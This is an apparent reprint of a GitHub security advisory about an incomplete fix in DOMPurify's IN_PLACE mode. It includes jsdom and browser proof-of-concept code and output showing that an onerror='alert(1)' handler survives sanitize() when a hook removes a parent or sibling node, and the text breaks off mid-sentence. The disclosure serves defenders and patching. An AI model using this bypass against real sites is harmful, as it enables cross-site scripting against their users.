A AegiFlow
HIGHCVSS 7.6

GHSA-mrv2-3pqr-j5jr

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

Published
2026-10-22
Modified
2026-10-22
Sources
github-advisory

Summary

### Summary The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an ` ` that was already loading fires after `sanitize()` returns. The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an ` ` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node. ### Tested versions - 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8 jsdom for the matrix below, and Chromium (Playwright) for the event actually firing. ### Details `src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`: ```js if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (IN_PLACE) { _neutralizeSubtree(currentNode); } ``` It only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks. ### PoC (jsdom) ```js const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM(' ').window const doc = win.document for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = ' ' + ' ok ' const root = doc.getElementById('root') const evil = doc.getElementById('evil') // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } }) DOMPurify.sanitize(root, { IN_PLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) } ``` Output on 3.4.16: ``` 3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)" ``` In `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`. ### PoC (browser) The same thing in a real page, served from 127.0.0.1 and opened in Chromium: ```html window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = ' ok '; D.sanitize(root, { IN_PLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.g

Affected packages

EcosystemPackageAffected versionsFixed versions
npmdompurify—3.4.17

Remediation: Upgrade to 3.4.17 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.